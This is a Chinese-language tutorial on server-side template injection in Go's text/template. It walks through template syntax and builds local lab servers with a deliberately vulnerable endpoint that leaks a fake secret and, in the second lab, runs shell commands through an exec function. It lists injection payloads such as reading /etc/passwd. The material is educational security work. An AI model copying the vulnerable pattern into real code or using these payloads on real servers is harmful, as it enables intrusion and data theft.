Go下template的SSTI分析

基本认识

Go 标准库中提供的 html/template 和 text/template 两种模板引擎

具体语法

这里主要是记录一下📝

支持模板语法，比如：

{{ . }}：当前上下文
{{ .Field }}：访问字段
{{ if }}{{ else }}{{ end }}：条件
{{ range }}{{ end }}：循环
{{ define }} 和 {{ template }}：模板嵌套

数据求值

访问字段: {{ .FieldName }}

如果 . 是一个结构体或指向结构体的指针，这会访问其名为 FieldName 的导出字段（首字母大写）。

访问嵌套字段: {{ .StructField.NestedField }}
访问 Map 中的值:

{{ .MapName "keyName" }} （如果 Map 的 key 是字符串）

{{ index .MapName $keyVariable }} (使用 index 内建函数，更通用)

访问 Slice 或 Array 中的元素:

{{ .SliceName 0 }} （Go 1.11+ 支持直接索引）

{{ index .SliceName $indexVariable }} (使用 index 内建函数)

方法调用: {{ .MethodName arg1 arg2 }}

可以调用当前对象 . 上的方法。

方法必须只有一个返回值，或者有两个返回值且第二个是 error 类型。模板会自动检查 error，如果非 nil 则中断执行。

这个常试一试

根数据对象: 在模板的顶层，. 通常指向 Execute 方法传入的整个数据对象。

控制结构

{{ if pipeline }} … {{ end }}

{{ if pipeline }} … {{ else }} … {{ end }}

{{ if pipeline1 }} … {{ else if pipeline2 }} … {{ else }} … {{ end }}

{{ range $index, $element := pipeline }} … {{ end }} (用于 Slice/Array)

{{ range $key, $value := pipeline }} … {{ end }} (用于 Map)

{{ range pipeline }} … {{ else }} … {{ end }}

{{ with pipeline }} … {{ end }}

在 with 块内，. 变成了 pipeline 的结果。

{{ with pipeline }} … {{ else }} … {{ end }}

如果 pipeline 的结果为 false（按 if 的规则），则执行 else 部分。

Others

还可以用管道符号
调用预定义的内置函数或开发者通过 template.Funcs() 注册的自定义函数

两个引擎对比

html/template

内置 自动转义机制，防止 XSS 攻击

支持模板继承、布局等 Web 模板功能

提供 template.HTML, template.URL, template.JS 等类型来显式声明不需要转义的内容（谨慎使用）

实例如下

1
package main
2

3
import (
4
    "html/template"
5
    "os"
6
)
7

8
func main() {
9
    tmpl := `<h1>Hello, {{ .Name }}</h1>`
10
    data := map[string]string{"Name": "<script>alert('Go Go Go!!')</script>"}
11

12
    t := template.Must(template.New("web").Parse(tmpl))
13
    t.Execute(os.Stdout, data)
14
}

输出结果，实现了转义

1
<h1>Hello, &lt;script&gt;alert(&#39;Go Go Go!!&#39;)&lt;/script&gt;</h1>

text/template

Go 的 text/template 主要用于生成纯文本输出，例如配置文件、电子邮件、源代码、普通文本消息等。与主要用于生成 HTML 的 html/template 不同，text/template不具备上下文感知和自动转义功能。这意味着它不会根据输出的位置（如 HTML 标签、属性、JavaScript 脚本等）自动进行安全处理。

示例如下

1
package main
2

3
import (
4
    "os"
5
    "text/template"
6
)
7

8
func main() {
9
    // 构建模板
10
    tmpl, err := template.New("").Parse("Hello，{{ . }}")
11
    if err != nil {
12
       panic(err)
13
    }
14

15
    err = tmpl.Execute(os.Stdout, "Bpple")
16
    if err != nil {
17
       panic(err)
18
    }
19
}

🌟Attack

模板注入

这个主要可以帮助我们获取一下变量值等信息

整理了一个实例，可以运行比较测试一下

1
package main
2

3
import (
4
    "fmt"
5
    "html"
6
    "log"
7
    "net/http"
8
    "text/template"
9
)
10

11
// 模拟一些应用数据，其中包含敏感信息
12
var appData = struct {
13
    AdminNote string
14
    SecretKey string
15
}{
16
    AdminNote: "System is running smoothly.",
17
    SecretKey: "Flag{1234567890abcdef}",
18
}
19

20
func main() {
21
    http.HandleFunc("/vulnerable", func(w http.ResponseWriter, r *http.Request) {
22
       // 从查询参数获取 'format'
23
       format := r.URL.Query().Get("format")
24
       if format == "" {
25
          format = "Welcome, user!"
26
       }
27
       templateString := format
28

29
       w.Header().Set("Content-Type", "text/plain; charset=utf-8") // 明确是纯文本
30
       w.WriteHeader(http.StatusOK)
31

32
       tmpl, err := template.New("vuln").Parse(templateString)
33
       if err != nil {
34
          fmt.Fprintf(w, "Template parsing error: %v\n", err)
35
          log.Printf("Vulnerable endpoint parse error: %v (Input: %q)", err, format)
36
          return
37
       }
38

39
       err = tmpl.Execute(w, appData)
40
       if err != nil {
41
          fmt.Fprintf(w, "\nTemplate execution error: %v", err)
42
          log.Printf("Vulnerable endpoint execute error: %v (Input: %q)", err, format)
43
       }
44
    })
45

46
    http.HandleFunc("/safe", func(w http.ResponseWriter, r *http.Request) {
47
       name := r.URL.Query().Get("name")
48
       if name == "" {
49
          name = "Guest"
50
       }
51
       templateString := "Hello, {{ .UserName }}! The admin note is: {{ .AdminNote }}"
52

53
       tmpl := template.Must(template.New("safe").Parse(templateString))
54
       dataForTemplate := struct {
55
          UserName  string
56
          AdminNote string
57

58
       }{
59
          UserName:  name,
60
          AdminNote: appData.AdminNote,
61
       }
62

63
       w.Header().Set("Content-Type", "text/plain; charset=utf-8") // 明确是纯文本
64
       w.WriteHeader(http.StatusOK)
65

66
       // 执行静态模板，传入包含用户数据（但没有秘密）的数据
67
       err := tmpl.Execute(w, dataForTemplate)
68
       if err != nil {
69
          fmt.Fprintf(w, "Template execution error: %v\n", err)
70
          log.Printf("Safe endpoint execute error: %v", err)
71
       }
72
    })
73

74
    http.HandleFunc("/safe-html-manual", func(w http.ResponseWriter, r *http.Request) {
75
       name := r.URL.Query().Get("name")
76
       if name == "" {
77
          name = "Guest"
78
       }
79

80
       templateString := "<h1>Hello, {{ .EscapedName }}</h1><p>Admin note: {{ .EscapedAdminNote }}</p>"
81
       tmpl := template.Must(template.New("safe-html").Parse(templateString))
82

83
       dataForTemplate := struct {
84
          EscapedName      string
85
          EscapedAdminNote string
86
       }{
87
          EscapedName:      html.EscapeString(name),
88
          EscapedAdminNote: html.EscapeString(appData.AdminNote),
89
       }
90

91
       w.Header().Set("Content-Type", "text/html; charset=utf-8") // 输出是 HTML
92
       w.WriteHeader(http.StatusOK)
93

94
       err := tmpl.Execute(w, dataForTemplate)
95
       if err != nil {
96
          fmt.Fprintf(w, "Template execution error: %v\n", err)
97
          log.Printf("Safe HTML endpoint execute error: %v", err)
98
       }
99
    })
100

101
    fmt.Println("Starting template injection demo server on :8090...")
102
    fmt.Println("Endpoints:")
103
    fmt.Println("  Vulnerable: http://localhost:8090/vulnerable?format=<template_string>")
104
    fmt.Println("  Safe:       http://localhost:8090/safe?name=<user_name>")
105
    fmt.Println("  Safe HTML:  http://localhost:8090/safe-html-manual?name=<user_name>")
106
    fmt.Println("\nInjection examples for /vulnerable:")
107
    fmt.Println("  - Access Secret: http://localhost:8090/vulnerable?format={{.SecretKey}}")
108
    fmt.Println("  - List Fields:   http://localhost:8090/vulnerable?format={{.}}")
109
    fmt.Println("  - Execute Func:  http://localhost:8090/vulnerable?format={{printf \"Admin note is: %s\" .AdminNote}}")
110
    fmt.Println("  - Conditional:   http://localhost:8090/vulnerable?format={{if .SecretKey}}Secret exists!{{end}}")
111

112
    log.Fatal(http.ListenAndServe(":8090", nil))
113
}

我们测试一下

🔍vulnerable?format={{.}}
{{if .SecretKey}}Secret exists!{{end}}

命令执行

我们想实现命令执行的前提是，代码环境中存在相关函数等,就是说可供我们利用

我们再调一个靶场如下

1
package main
2

3
import (
4
    "fmt"
5
    "html"
6
    "log"
7
    "net/http"
8
    "os/exec"
9
    "text/template"
10
)
11

12
var appData = struct {
13
    AdminNote string
14
    SecretKey string
15
}{
16
    AdminNote: "System is running smoothly.",
17
    SecretKey: "Flag{1234567890abcdef}",
18
}
19

20
func executeCommand(command string) string {
21
    cmd := exec.Command("sh", "-c", command)
22
    output, err := cmd.CombinedOutput()
23
    if err != nil {
24
       return fmt.Sprintf("Error executing command '%s': %v\nOutput:\n%s", command, err, string(output))
25
    }
26
    return string(output)
27
}
28

29
func main() {
30
    http.HandleFunc("/vulnerable", func(w http.ResponseWriter, r *http.Request) {
31
       format := r.URL.Query().Get("format")
32
       if format == "" {
33
          format = "Welcome, user!"
34
       }
35

36
       templateString := format
37

38
       w.Header().Set("Content-Type", "text/plain; charset=utf-8")
39
       w.WriteHeader(http.StatusOK)
40

41
       tmpl := template.New("vuln").Funcs(template.FuncMap{
42
          "exec": executeCommand,
43
       })
44

45
       tmpl, err := tmpl.Parse(templateString)
46
       if err != nil {
47
          fmt.Fprintf(w, "Template parsing error: %v\n", err)
48
          log.Printf("Vulnerable endpoint parse error: %v (Input: %q)", err, format)
49
          return
50
       }
51

52
       err = tmpl.Execute(w, appData)
53
       if err != nil {
54
          fmt.Fprintf(w, "\nTemplate execution error: %v", err)
55
          log.Printf("Vulnerable endpoint execute error: %v (Input: %q)", err, format)
56
       }
57
    })
58

59
    http.HandleFunc("/safe", func(w http.ResponseWriter, r *http.Request) {
60
       name := r.URL.Query().Get("name")
61
       if name == "" {
62
          name = "Guest"
63
       }
64
       templateString := "Hello, {{ .UserName }}! The admin note is: {{ .AdminNote }}"
65
       tmpl := template.Must(template.New("safe").Parse(templateString))
66
       dataForTemplate := struct {
67
          UserName  string
68
          AdminNote string
69
       }{
70
          UserName:  name,
71
          AdminNote: appData.AdminNote,
72
       }
73
       w.Header().Set("Content-Type", "text/plain; charset=utf-8")
74
       w.WriteHeader(http.StatusOK)
75
       err := tmpl.Execute(w, dataForTemplate)
76
       if err != nil {
77
          fmt.Fprintf(w, "Template execution error: %v\n", err)
78
          log.Printf("Safe endpoint execute error: %v", err)
79
       }
80
    })
81

82
    http.HandleFunc("/safe-html-manual", func(w http.ResponseWriter, r *http.Request) {
83
       name := r.URL.Query().Get("name")
84
       if name == "" {
85
          name = "Guest"
86
       }
87
       templateString := "<h1>Hello, {{ .EscapedName }}</h1><p>Admin note: {{ .EscapedAdminNote }}</p>"
88
       tmpl := template.Must(template.New("safe-html").Parse(templateString))
89
       dataForTemplate := struct {
90
          EscapedName      string
91
          EscapedAdminNote string
92
       }{
93
          EscapedName:      html.EscapeString(name),
94
          EscapedAdminNote: html.EscapeString(appData.AdminNote),
95
       }
96
       w.Header().Set("Content-Type", "text/html; charset=utf-8")
97
       w.WriteHeader(http.StatusOK)
98
       err := tmpl.Execute(w, dataForTemplate)
99
       if err != nil {
100
          fmt.Fprintf(w, "Template execution error: %v\n", err)
101
          log.Printf("Safe HTML endpoint execute error: %v", err)
102
       }
103
    })
104

105
    fmt.Println("Starting template injection demo server on :8090...")
106
    fmt.Println("Endpoints:")
107
    fmt.Println("  Vulnerable: http://localhost:8090/vulnerable?format=<template_string>")
108
    fmt.Println("  Safe:       http://localhost:8090/safe?name=<user_name>")
109
    fmt.Println("  Safe HTML:  http://localhost:8090/safe-html-manual?name=<user_name>")
110
    fmt.Println("\nInjection examples for /vulnerable:")
111
    fmt.Println("  - Access Secret: http://localhost:8090/vulnerable?format={{.SecretKey}}")
112
    fmt.Println("  - List Fields:   http://localhost:8090/vulnerable?format={{.}}")
113
    fmt.Println("  - Execute Func:  http://localhost:8090/vulnerable?format={{printf \"Admin note is: %s\" .AdminNote}}")
114
    fmt.Println("  - Conditional:   http://localhost:8090/vulnerable?format={{if .SecretKey}}Secret exists!{{end}}")
115
    fmt.Println("  - !! RCE !! :    http://localhost:8090/vulnerable?format={{exec \"id\"}}")
116
    fmt.Println("  - !! RCE !! :    http://localhost:8090/vulnerable?format={{exec \"ls -la /\"}}")
117
    fmt.Println("  - !! RCE !! :    http://localhost:8090/vulnerable?format={{exec \"cat /etc/passwd\"}}")
118

119
    log.Fatal(http.ListenAndServe(":8090", nil))
120
}

添加到 FuncMap：在 /vulnerable 处理函数中，创建模板实例后，使用 .Funcs() 方法将 executeCommand 函数添加到模板的函数映射中，并将其命名为 exec。

然后模板中可以使用 {{ exec "command" }} 来调用这个函数。.Funcs() 必须在 .Parse() 之前调用。

利用效果如下

1
http://localhost:8090/vulnerable?format={{exec%20%22ls%20-la%20/%22}}

参考文章

https://xz.aliyun.com/news/15003

https://xz.aliyun.com/news/12088

Go下template的SSTI分析

Table of Contents

Go下template的SSTI分析

基本认识

具体语法

数据求值

控制结构

Others

两个引擎对比

🌟Attack

模板注入

命令执行

参考文章